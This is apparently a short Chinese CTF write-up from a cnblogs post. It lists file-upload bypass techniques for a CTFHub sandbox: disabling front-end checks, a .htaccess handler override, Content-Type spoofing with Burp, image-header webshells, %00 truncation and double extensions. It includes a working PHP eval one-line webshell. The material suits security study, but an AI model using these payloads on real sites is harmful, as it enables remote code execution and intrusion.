CTF--文件上传

1.无验证

upload/1.php

 

 

2.前端验证

火狐浏览器—about:config 

—关掉JavaScript

 

 

3..htaccess

htaccess是超文本访问(Hypertext Access)的缩写,是一个基于Apache的Web服务器使用的配置文件,用于控制它所在的目录以及该目录下的所有子目录。

 

 

 

<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>

 

 

 修改

<?php @eval($_POST['123']);?>

 

 

 

4.MIME绕过

MIME类型校验就是我们在上传文件到服务端的时候,服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测,如果是白名单所允许的,则可以正常上传,否则上传失败。

 

burp截取上传数据包,修改 Content- - Type,然后 forward上传

image/jpeg

 

5.文件头检查

  • 文件头检测:想到png,gif等文件在文件的头部都不同,能根据头部确定这是什么类型的文件

 

那么我们上传一张图片,然后使用bp拦截,并在空白处添加一句话木马(图片马)

 

把文件改为php,同时修改Content-type为image/jpg

 

 6.00截断

 

上传一个名为1.php%00.jpg的文件

burp suite进行抓包

 

 

 

 http://challenge-117a990e7168471b.sandbox.ctfhub.com:10800/upload/1.php

 

7.双写后缀

 

burp抓包

 


__EOF__

本文作者TinKode
本文链接https://www.cnblogs.com/TinKode123/p/16118305.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   TinKode  阅读(510)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 零经验选手,Compose 一天开发一款小游戏!
· 通过 API 将Deepseek响应流式内容输出到前端
点击右上角即可分享
微信分享提示